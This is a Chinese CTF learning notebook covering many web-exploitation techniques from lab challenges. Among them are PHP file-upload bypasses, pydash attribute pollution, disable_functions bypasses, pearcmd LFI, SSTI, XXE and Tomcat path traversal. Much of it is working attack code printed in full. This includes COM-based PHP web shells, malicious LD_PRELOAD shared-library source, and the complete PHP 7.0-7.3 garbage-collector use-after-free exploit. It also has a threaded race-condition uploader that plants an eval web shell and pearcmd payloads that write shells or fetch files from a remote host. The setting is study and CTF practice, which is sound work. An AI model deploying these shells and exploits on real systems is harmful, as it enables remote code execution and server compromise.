python沙箱栈帧逃逸
打栈帧逃逸必不可少的东西是生成器,这玩意儿是用来打栈帧逃逸的。
在 Python 中,生成器可以使用 yield 关键字来定义。yield 用于产生一个值,并在保留当前状态的同时暂停函数的执行。当下一次调用生成器时,函数会从上次暂停的位置继续执行,直到遇到下一个 yield 语句或者函数结束。
生成器的属性
gi_code
: 生成器对应的code对象。gi_frame
: 生成器对应的frame(栈帧)对象。gi_running
: 生成器函数是否在执行。生成器函数在yield以后、执行yield的下一行代码前处于frozen状态,此时这个属性的值为0。
gi_yieldfrom:如果生成器正在从另一个生成器中 yield 值,则为该生成器对象的引用;否则为 None。gi_frame.f_locals
:一个字典,包含生成器当前帧的本地变量。
栈帧(frame)
在 Python 中,栈帧(stack frame),也称为帧(frame),是用于执行代码的数据结构。每当 Python 解释器执行一个函数或方法时,都会创建一个新的栈帧,用于存储该函数或方法的局部变量、参数、返回地址以及其他执行相关的信息。这些栈帧会按照调用顺序被组织成一个栈,称为调用栈。
栈帧包含了以下几个重要的属性:f_locals
: 一个字典,包含了函数或方法的局部变量。键是变量名,值是变量的值。f_globals
: 一个字典,包含了函数或方法所在模块的全局变量。键是全局变量名,值是变量的值。f_code:
一个代码对象(code object),包含了函数或方法的字节码指令、常量、变量名等信息。f_lasti
: 整数,表示最后执行的字节码指令的索引。f_back
: 指向上一级调用栈帧的引用,用于构建调用栈。
国赛Sainc复现
网上的wp已经讲的很详细了,也就没什么好记录的,主要是把复现过程记录一下
源代码其实有一说一,挺简单的感觉
from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash
# pydash==5.1.2
class Pollute:
def __init__(self):
pass
app = Sanic(__name__)
app.static("/static/", "./static/")
Session(app)
@app.route('/', methods=['GET', 'POST'])
async def index(request):
return html(open('static/index.html').read())
@app.route("/login")
async def login(request):
user = request.cookies.get("user")
if user.lower() == 'adm;n':
request.ctx.session['admin'] = True
return text("login success")
return text("login fail")
@app.route("/src")
async def src(request):
return text(open(__file__).read())
@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
if request.ctx.session.get('admin') == True:
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and '_.' not in key:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
return text("forbidden")
return text("forbidden")
if __name__ == '__main__':
app.run(host='0.0.0.0')
然后这道题目的重点就两个函数,一个是 pydash.set_(pollute, key, value),提示的很明显,就是要去做一个原型链污染,参数为 key 和 value 还有一个是return text(open(__file__).read()),告诉我们要污染的对象是__file__,最后污染过后的对象就可以在/src中查看。然后我们就可以开始做题了
在login中去获取它的session,这里的知识点就是Cookie不能有分号,不然会被截断,这个时候如果想要传入有分号的数据,就要用八进制去绕过;还有就是字符串记得加双引号,这儿卡了好久
获取到session了之后我们就可以登录admin路由,然后利用admin路由的 pydash.set_(pollute, key, value)去污染__file__ ,然后就是污染的内容上了waf,把_.给办了,这个时候就要用\转义字符绕过
通过这种方式目前可以污染__file__读取/etc/passwd的内容,但是读不了flag,因为不知道路径
由于static已经被我污染过了,看不了static的源代码,没事,就跳过吧,我会就行,直接跳到最后一步,贴脚本
import requests
#开启列目录
data = {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": True}
#将目录设置在根目录下
#data = {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value": ["/"]}
#读取flag文件
#data = {"key":"__init__\\\\.__globals__\\\\.__file__","value": "/flag文件名字"}
cookie={"session":"your_session"}
response = requests.post(url='http://127.0.0.1:8000/admin', json=data,cookies=cookie,variety=false)
print(response.text)
php <=7.4.21Development server 源码泄露
很奇怪的是,虽然他写的是php<=7.4.21,但是我这道题目的php版本为7.4.27,但是它依然存在这个漏洞
可以看到我们写了两个GET请求,但是注意上面那个GET请求后面的文件名必须是真实存在的,而且这个就是我们所需要读的文件,然后下面的文件名是我们伪造的,这样子我们就可以爆出源代码
前面的那个当你请求访问flag.php的时候,php_cli_server_request_translate_vpath函数将请求的PHP文件的路径转换为文件系统上的完整路径。然后第二个GET请求访问的,就不再是文件而是目录,这个时候如果你的文件扩展名不是.php或者是.PHP以及扩展名长度不等于三,就会被当作静态文件执行,也就是直接读取
注意一定要关闭实时更新content-length
Uploads登神长阶
算是一个对文件上传的合集吧,刷的upload-lab,以后所有的文件上传应该都会往这里面放强基,启动!!!!冲锋!!!!
首先是最简单的,前端验证绕过,禁用JavaScript无需多言
然后第二关,修改content-type,同样无需多言 img/png 或者是 img/jpg
第三关特殊后缀绕过; php、php2、php3、php4、php5、php6、php7、pht、phtm、phtml
第四关:.htaccess绕过,仅限制于Apache
创建.htaccess文件,代码如下:
方法一:
<FilesMatch "4.png">
SetHandler application/x-httpd-php
</FilesMatch>
#如果当前目录下有4.png,就会被解析为.php
方法二:
AddType application/x-httpd-php .png
#如果当前目录下有以.png结尾的文件,就会被解析为.php
第五关:user.ini绕过,php.ini是php的一个全局配置文件,对整个web服务起作用;
而 .user.in i和 .htaccess 一样是目录的配置文件,.user.ini就是用户自定义的php.ini,可以利用这个文件来构造后门和隐藏后门。
.user.ini 使用范围很广,不仅限于 Apache 服务器,同样适用于 Nginx 服务器,只要服务器启用了 fastcgi 模式 (通常非线程安全模式使用的就是 fastcgi 模式)。
GIF89a //绕过exif_imagetype()
auto_prepend_file=muma.jpg//指定在主文件之前自动解析的文件的名称,并包含该文件,就像使用require函数调用它一样。
auto_append_file=muma.jpg//解析后进行包含
第六关:大小写绕过,没什么好说的,windows下对于大小写不敏感,但是linux对于大小写敏感
第七关:trim()函数,首位去空,当没有这个函数的时候,就可以尝试使用,.php【空格】来绕过,Windows系统下,对文件名中空格会被作为空处理,程序中的检测代码却不能自动删除空格。从而绕过黑名单.
第八关:deldot()函数,将文件名尾部的.号删除,没有这个函数的时候,我们就可以使用.号绕过,Windows系统下,文件后缀名最后一个点会被自动去除。上传 8.php.
第九关::$DATA文件流绕过,补充知识:php在window的时候如果文件名+”::$DATA”会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持”::$DATA”之前的文件名 他的目的就是不检查后缀名。在没有去除的时候可以使用
第十关:.php. .(点+php+点+空格+点) trim()(首尾去空)函数和deldot(去掉末尾的.号)函数同时绕过
第十一关:str_ireplace()将文件名中符合黑名单的字符串替换成空,此时可以使用双写绕过
第十二关:%00截断,需要php版本<5.3.4
,并且magic_quotes_gpc
关闭
第十三关:POST版%00截断,需要修改hex编码
第十四关:图片马绕过
第十五关:getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。 主要是针对*.php直接更改文件后缀为图片后缀,仍旧可以使用图片马进行绕过
第十六关:exif_imagetype()读取一个图像的第一个字节并检查其后缀名。仍旧是图片马绕过
第十七关:到了这里我就已经开始不会了,因为涉及到新的概念叫做图片二次渲染
GIF文件的二次渲染
gif文件的二次渲染就是将你上传到服务端之后的gif图片进行了修改,这个绕过的方法也很简单,就是将被修改的gif文件下载下来,然后和原来的两个图片用010进行对比,到哪里开始不一样,就在那里加上一句话就可以了
二次渲染:后端重写文件内容
basename(path[,suffix]) ,没指定suffix则返回后缀名,有则不返回指定的后缀名
strrchr(string,char)函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符。
imagecreatefromgif():创建一块画布,并从 GIF 文件或 URL 地址载入一副图像
imagecreatefromjpeg():创建一块画布,并从 JPEG 文件或 URL 地址载入一副图像
imagecreatefrompng():创建一块画布,并从 PNG 文件或 URL 地址载入一副图像
第十七关的imagecreatefrompng就是一个二次渲染函数,用于修改我们上传的图片文件
然后这个时候就进入我们的正题,那就是gif文件的二次渲染
第二十关:move_uploaded_file()有这么一个特性,会忽略掉文件末尾的 /.
文件上传之图片大小绕过
#define width 1 //宽
#define height 1 //高
disable_function绕过
在phpinfo中我们总是会去去看一个关键的参数就是disable_function,这玩意儿没什么特别的,主要的作用就是禁用函数。然后这种东西多半是用来阻止你getshell的,比如当你蚁剑使用命令去读取文件返回个ret=127的时候,那就可能是因为disable_function把这个函数给禁用了
第一种绕过方法:直接绕过法,在php.ini的phpinfo中万一有漏网之鱼的话,就可以直接去利用
第二种绕过方法:Windows组件COM绕过
在com.allow_dcom开启的状态下可以使用
<?php
$wsh = isset($_GET['wsh']) ? $_GET['wsh'] : 'wscript';
if($wsh == 'wscript') {
$command = $_GET['cmd'];
$wshit = new COM('WScript.shell') or die("Create Wscript.Shell Failed!");
$exec = $wshit->exec("cmd /c".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
}
elseif($wsh == 'application') {
$command = $_GET['cmd'];
$wshit = new COM("Shell.Application") or die("Shell.Application Failed!");
$exec = $wshit->ShellExecute("cmd","/c ".$command);
}
else {
echo(0);
}
?>
还有一种简易版本的
<?php
$command = $_GET['cmd'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
通过蚁剑将php文件传入到根目录下即可使用
第三种方法,利用linux环境变量LD_PRELOAD
LD_PRELOAD是linux系统的一个环境变量,它可以影响程序的运行时的链接,它允许你定义在程序运行前优先加载的动态链接库
- dll = windows 的动态链接库文件 把一些功能函数封装在dll文件中,调用时导入调用即可
- so = linux 动态链接库文件
总的来说就是LD_PRELOAD
指定的动态链接库文件,会在其它文件调用之前先被调用,借此可以达到劫持的效果
使用条件
- Linux 操作系统
- 要有能够控制环境变量的参数
putenv
mail
orerror_log
- 存在可写的目录, 需要上传
.so
文件 - 存在可以控制PHP启动外部程序的函数并能执行(因为新进程启动将加载LD_PRELOAD中的
.so
文件),比如mail()、imap_mail()、mb_send_mail()和error_log()等
其实最简单的办法就是掏出蚁剑插件一键绕过就可以了,但是,突然发现这个知识点还涉及到恶意so文件,那我就不得不学了。
恶意so文件就是用c文件编译而成的,于是我们首先需要编写的是恶意c文件
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("touch /var/www/html/success");
}
int seteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
这里我们使用sendmail中的seteuid库函数,代码就是很普通的c语言代码,用于判定是否有LD_PRELOAD环境变量。如果有则调用seteuid库函数,然后执行payload
在编译恶意.so文件时,需要注意编译成共享对象,你要根据目标架构编译成不同版本,在 x64 的环境中编译,若不带编译选项则默认为 x64,若要编译成 x86 架构需要加上 -m32 选项。
gcc -shared -fPIC test.c -o test_x64.so
有了恶意so文件之后就是上传文件,需要上传到可写的路径下
然后现在当我们传入了so文件之后,现在的进程优先调用的就是我们的so文件,最后传入php文件就可以调用恶意so文件了。
<?php
putenv("LD_PRELOAD=/var/www/hack.so");
mail("[email protected]","","","","");
?>
以上就是最基础的LD_PRELOAD绕过disable_function,还顺带学习了恶意so文件的基础,收获很大,很开心,接下来贴两个进阶版的文件,因为基础版的很有可能没有权限
注意以下仍旧是基础版,只是感觉更精简一点
test3.c
#include <stdlib.h>
#include <string.h>
__attribute__((constructor))void payload() {
unsetenv("LD_PRELOAD");
const char* cmd = getenv("CMD");
system(cmd);
}
test2.php
<?php
putenv("CMD=ls");
putenv("LD_PRELOAD=./test3_x64.so");
error_log("a",1);
?>
进阶版
再次大爱github
第四种方法:php-gc-bypass
我爱GitHub,直接贴exp,需要在有写权限的目录下才能使用,记得修改开头的pwn(“命令”)
<?php
# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
#
# Author: https://github.com/mm0r1
pwn("/readflag");
function pwn($cmd) {
global $abc, $helper;
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
class ryat {
var $ryat;
var $chtg;
function __destruct()
{
$this->chtg = $this->ryat;
$this->ryat = 1;
}
}
class Helper {
public $a, $b, $c, $d;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if you get segfaults
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_repeat('A', 79);
$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles();
$v = [];
$v[0] = ptr2str(0, 79);
unset($v);
$abc = $out[2][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
文件上传长度限制绕过
最短的文件头名为BM,第二短的是GIF,同时要修改content-accept,然后php可以用=代替老生常谈,最后的?>是可以省略的,system可以用“来代替,然后最短的读取文件命令为nl
Zip Slip漏洞
Zip Slip的漏洞成因非常简单,这个漏洞绑定的业务功能点:上传压缩包文件,后端解压压缩包保存其中的文件到服务器本地。
漏洞成因:待上传的压缩包中可以构造条目名,后端保存文件的时候,常常将条目名提取出来并和保存目录拼接作为最后的保存文件路径,但是压缩包是可控的,从而其中保存的原始条目名也是可控的,因此可以在文件名处利用../
跳转到任意目录,从而向任意目录写入新文件或者覆盖旧文件。
寻找漏洞的点就在于文件保存路径和文件名的拼接,例如zipEntry.getName()
鉴权绕过
c.Request.RequestURI
获取的是原始的请求URI,gin框架的路由选择是根据 c.Request.URL.Path
来确定的,所以我们可以通过URL编码的方式绕过这个中间件的检测
require_once()函数绕过
require_once函数有个特性就是如果文件已经被包含过了,则文件不会再次被包含,所以这里就有个漏洞,就是当你的路径足够长的时候,你哪怕是已经被包含过的文件也会被判定为没被包含过,利用这个特性,我们就可以去包含flag文件。
这道题目就是了利用这个方式绕过的,直接贴payload,但是要注意知道所读取文件的完整路径
https://80-007ea987-3e44-4d3d-90af-48c2dc938fee.challenge.ctfplus.cn/?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/starven_secret.php
在代码中,/proc/self/root其实可以看作是/,然后之所以有这么多行好像是因为需要超出这个函数的长度限制,大约是两百多个字符
/proc/self/root/是指向/的符号链接,也就是根目录
/proc/self/cwd 文件是一个指向当前进程运行目录的符号链接
phpinfo与条件竞争
看了p神的一篇博客,学习了一下,到了2024年我还在学习p神21年的知识,神永远是神
pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定–with-pear才会安装。不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php。
我们对任意一个PHP文件发送一个上传的数据包时,不管这个PHP服务后端是否有处理$_FILES
的逻辑,PHP都会将用户上传的数据先保存到一个临时文件中,这个文件一般位于系统临时目录,文件名是php开头,后面跟6个随机字符;在整个PHP文件执行完毕后,这些上传的临时文件就会被清理掉。
利用的条件就是,需要有一个地方能获取到文件名,例如phpinfo。phpinfo页面中会输出这次请求的所有信息,包括$_FILES
变量的值,其中包含完整文件名:
第二个难点就是,即使我们能够在目标网站上找到一个phpinfo页面并读取到临时文件名,这个文件名也是这一次请求里的临时文件,在这次请求结束后这个临时文件就会被删掉,并不能在后面的文件包含请求中使用。
所以此时需要利用到条件竞争(Race Condition),原理也好理解——我们用两个以上的线程来利用,其中一个发送上传包给phpinfo页面,并读取返回结果,找到临时文件名;第二个线程拿到这个文件名后马上进行包含利用。
这是一个很理想的状态,现实情况下我们需要借助下面这些方法来提高成功率:
- 使用大量线程来进行第二个操作,来让包含操作尽可能早于临时文件被删除
- 如果目标环境开启了
output_buffering
这个配置(在某些环境下是默认的),那么phpinfo的页面将会以流式,即chunked编码的方式返回。这样,我们可以不必等到phpinfo完全显示完成时就能够读取到临时文件名,这样成功率会更高 - 我们可以在请求头、query string里插入大量垃圾字符来使phpinfo页面更大,返回的时间更久,这样临时文件保存的时间更长。但这个方法在不开启
output_buffering
时是没有影响的。
这次就用[FSCTF 2023]加速加速来演示一下怎么去条件竞争
将php的文件上传上去的包拿去不停的爆破,然后我们去网页端进行访问。下面是条件竞争的脚本,因为我用burp没有打进去
# coding:utf-8
import requests
from concurrent.futures import ThreadPoolExecutor
def td(list):
url = 'http://node4.anna.nssctf.cn:28913/'
files = {'upload_file': (
'puu.php',"<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]);?>' ); ?>")}
data = {'submit': '上传'}
r = requests.post(url=url, data=data, files=files)
re = requests.get('http://node4.anna.nssctf.cn:28913/upload/puu.php')
if re.status_code == 200:
print('上传成功')
if __name__ == '__main__':
with ThreadPoolExecutor(50) as p:
p.map(td, range(2000))
新标头字段
pearcmd.php本地文件包含(LFI)
1.我们要找到pearcmd.php的文件位置。正常情况下在/usr/local/lib/php/pearcmd.php
2.我们要开启register_argc_argv选项,当然了docker的PHP镜像是默认开启的。
当我们开启register_argc_argv选项的时候,$_SERVER[‘argv’]就会生效。
我们依次传入参数
1
,a=1&b=1
,a=1+b=1
从上面的三个例子中我们发现了一些问题:
1.&符无发分割参数,真正能分割参数的是加号
2.等号无法赋值,而是会直接被传进去当作参数。
(1)config-create
?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/tmp/test.php
(2)Install
?+install+--installroot+&file=/usr/local/lib/php/pearcmd.php&+http://[vps]:[port]/test1.php
除此之外还有另外一种姿势
?+install+--installroot+&file=/usr/local/lib/php/pearcmd.php&+install+-R+/tmp+http://192.168.1.9/index.php
国城杯知识点总结
说是总结,其实就只是payload的一种记录吧,感觉我跟题目完全不在一个维度
不出网利用钩子函数SSTI
{{cycler.__init__.__globals__.__builtins__['exec']
("request.add_response_callback(lambda request, response: setattr(response,
'text', __import__('os').popen('whoami').read()))",{'request': request})}}
请求头注入SSTI
{{cycler['__init__']['__globals__']['__builtins__']['setattr']
(cycler['__init__']['__globals__']['__builtins__']['__import__']('sys')
['modules']['wsgiref']['simple_server']
['ServerHandler'],'http_version',cycler['__init__']['__globals__']
['__builtins__']['__import__']('os')['popen']('whoami')['read']())}}
验证码爆破插件安装
看wp的时候意外学的,也顺便记录一下,验证码的题目以后肯定也会碰上的
首先升级了个啥命令我也不知道,搞里头
python -m pip install --upgrade pip
python -m pip install requests
然后得要装muggle_ocr,但是被官方下架了,所以我爱GitHub
GitHub – litongjava/muggle_ocr: muggle_ocr
pip install -r .\requirements.txt
python setup.py install
环境配置搞里头,就有muggle_ocr了
python -m pip install ddddocr -i https://pypi.tuna.tsinghua.edu.cn/simple
然后安个镜像
之后就是下载插件
https://github.com/smxiazi/xp_CAPTCHA/releases
(3)平台注册
先在http://www.kuaishibie.cn处注册账号。(由于调用这个平台的接口,请先注册,收费是1块钱识别500次),注册好后在如下的位置填写好账号密码,勾选启动插件,监控intruder,监控repreter,点击保存配置
把图像的网址复制进去,然后所有的设置都记得保存配置
此时输入内容点击登陆提交之后,抓包,将其发送到intruder,在验证码的地方替换为@xiapao_api@1@
然后记得将资源改成单线程
然后爆就完事儿了
Linux的文件权限
首先是最简单的rwx权限
r:4 可读
w:2 可写
x:1 可执行
rwx: 7 rw-:6 r-: 4
可惜还是没有遇见解析蚁剑的那个文件属性权限的文章,以后有遇见的话再补上吧
问了位师傅,解决了四位数字的权限理解
当权限出现四位数字的时候,第一位为粘滞位,可以理解为特殊标记位,遵循二进制,不同的数字有着不同的权限。正常情况下默认为0.
Python原型链污染
Python原型链污染和Nodejs原型链污染的根本原理一样,Nodejs是对键值对的控制来进行污染,而Python则是对类属性值的污染,且只能对类的属性来进行污染不能够污染类的方法。
CVE-2021-3156 sudo权限提升漏洞
GitHub – Rvn0xsy/CVE-2021-3156-plus:CVE-2021-3156非交互式执行命令
sudo版本1.8.31
查看版本命令
sudo -V
传文件到具有权限的目录下
接着就是库库使用exp,make起手然后./exploit ‘命令’
算数题脚本
脚本是真的菜,菜就得多练
这种算数类的脚本题目其实思路就是用get去抓取报文里头的数字,然后去掉等号计算,最后用post请求去传输答案,一般这类题目都大差不差吧
import requests
import time
url="http://node5.anna.nssctf.cn:27055/"
res=requests.session()
for i in range(1,99):
math=""
response=res.get(url)
time.sleep(1)
resText=response.text
for j in range(0,len(resText)):
if resText[j-1]==">"and resText[j+1]=="<" and resText[j]!="\n":
math+=resText[j]
math=math.strip("=")
num=eval(math)
data={
'ans':num
}
response=res.post(url,data=data)
print(response.text)
time.sleep(1)
if "NSSCTF{" in response.text:
print(response.text)
exit()
再来一个,大体上是差不多的
import requests
import time
url = 'http://node4.anna.nssctf.cn:28459/'
res = requests.session() #创建session对象,用来保存当前会话的持续有效性。不创建也可以调用对应的方法发送请求,但是没有cookie,那就无法记录答题数量。
response = res.get(url) #发get包,获取题目
time.sleep(1) # 睡一秒
for i in range(1, 99):
math = ""
resTest = response.text #获取返回包的内容
for j in range(0, len(resTest)): #遍历获取网页数学表达式,这里建议用正则表达式(re)
if resTest[j - 1] == ">" and resTest[j + 1] == "<" and resTest[j]!= "\n":
math = math + resTest[j]
# strip() 方法用于移除字符串头尾指定的字符(默认为空格或换行符)或字符序列
math = math.strip('=') #去掉末尾等号
math = math.strip('+') # 去掉开头加号
num = eval(math) #计算数学表达式的值
num += 9223372036854775807
myData = { #构造的POST数据
'ans': num,
'input': "99999999999999999999999999999999999999999999999999999999999999999999999"
}
response = res.post(url, data=myData) #发post包,提交答案,并且获取返回包,获取下一个计算式
print(response.text) #打印当前返回包的内容
time.sleep(1) # 睡一秒
if "ctf{" in response.text: #如果返回包里面有flag
print("Flaggggggggg: ", response.text)
exit() # 退出当前程序,也可以break
加入time.sleep的目的是防止服务器系那个我们的请求识别为DDOS攻击,也是为了避免数据传输过快导致频繁报错,还有就是这类算术题都是有要求时间的,尽量别超过时间就可以
Hashcat使用
在打ctfshow的渗透赛中遇到了一种工具叫做hashcat,专门用于密码恢复,学习一下
首先就是固定格式
hashcat -a [数字] -m [加密编号] 密文 要求的密码
其中密文可以使用文件的形式,也就是为什么我的指令里头有个txt文件
hashcat集成的字符集
- ?l 代表小写字母
- ?u 代表大写字母
- ?d 代表数字
- ?s 代表特殊字符
- ?a 代表大小写字母、数字以及特殊字符
- ?b 0x00-0xff
hashcat破解模式( 用 -a 选顶指定)
- 0 straight 字典破解
- 1 combination 将字典中密码进行组合(1 2>11 22 12 21)
- 3 brute-force 使用指定掩码破解
- 6 Hybrid Wordlist + Mask 字典+掩码破解
- 7 Hybrid Mask + Wordlist 掩码+字典破解
至于加密编号可以自行使用hashcat –help查看对应的编号
当然也有特殊情况,比如我们不知道他有多少位的时候,只能猜测大概范围的时候
--increment --increment-min [数字] --increment-max [数字]
当我们不知道这玩意儿是数字还是字母的时候就可以自定义来实现我们想要的方法
–custom-charset1=?啥啥啥
然后在对应的需要揭秘部分使用?1即可
\0绕过
在玩了玩VNCTF的测试题后学会的一个知识点
‘s/{.*}/ example /g’,它会匹配大括号{}中的任意字符(由.*匹配),并将其替换为example。,也就是说我们的flag会被替换导致我们无法得到真正的flag
这个时候就直接\0绕过就好了
/proc/1/environ
中的环境变量以**Null字符(\0
)**分隔,而非换行符。直接使用cat
等命令查看时,Null会显示为空格,导致所有变量挤在一行。
归根结底还是吃了不熟悉linux的亏,我可真是个辣鸡
TOMCAT 目录穿越
今天做了一道WUCTF2020的Train Yourself To Be Godly,做的事真尼玛痛苦,我都不知道我在干什么。刚进去时,已经是初见端倪
Tomcat目录穿越是这道题目的一大考点,Tomcat简单来说就是一个java web的服务器
Nginx 会解析 /a;evil/b/,并认为这是一个合法的目录请求,而 Tomcat 做解析的时候会自动忽略掉脏数据 ;.*,所以 Tomcat 对此的解析是 /a/b/。也就是说我们从可以通过写 ;+脏数据的方式绕过 Nginx 的反向代理,从而请求本不应该能请求到的非法路径。对于本题来说,我们可以构造路径 /..;/,Nginx 会认为我们要访问服务器的 /..;/ 目录下的内容,从而将这个请求视为合法请求发送给后端的 Tomcat 解析,Tomcat 接受之后认为 ; 是脏数据,从而过滤掉,解析的路径就变成了 /../ 也就是上级目录。所以访问 /..;/manager/html 之后我们就成功进入了后台界面
Tomcat的默认后台路径就是http://…/manager/html,根据上述内容,构造/..;/manager/html,成功弹出后台登录框
Tomcat的默认口令如下:
账号:admin 密码:admin或空;
账号:tomcat 密码:tomcat
接下来就是第二个考点,考的是文件上传之jsp大马,好好好,又是一个不会的知识点
这里使用到github上面的jsp大马
webshell-detect-bypass/webshell/jsp at master · LandGrey/webshell-detect-bypass · GitHub
然后使用命令将jsp大马压缩成war包
jar cvf [名字].war [名字].jar
然后对其进行文件上传
需要注意的是缺少Authorization: Basic dG9tY2F0OnRvbWNhdA==会报错401,然后缺少cookie的话会报错403
好了到这里我就打死都做不出来了,无敌了,太他妈酸爽了,因为一直报错403,他奶奶的,根据别人的wp,如果上传成功后的操作应该是
就是一坨,不知道为什么做不出来
Go语言的SSTI
go语言模板渲染支持传入一个结构体的实例来渲染它的字段,就有可能造成信息泄露
可以看到本题的关键在于Password里头的flag,这里运用了go语言的Gin框架,并且建立了一个结构体,所以我们直接使用{{.Password}}用来渲染Password就可以造成信息泄露
文件上传之xxe漏洞
在做到[CSAWQual 2019]Unagi的题目的时候,碰见了一个比较不一样的文件上传
根据提示,只能上传xml文件,并且xml文件也被过滤了,但是xml文件尾被过滤可以使用utf-16保存文件来进行绕过(这是为什么?目前我还没研究明白)
<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY admin SYSTEM "file:///flag">]>
<users>
<user>
<username>111</username>
<password>111</password>
<name> 111</name>
<email>1111@fakesite.com</email>
<group>CSAW2019</group>
<intro>&admin;</intro>
</user>
</users>
然后就是直接套模板
php种子爆破
在做到[GWCTF 2019]枯燥的抽奖的时候学到的知识
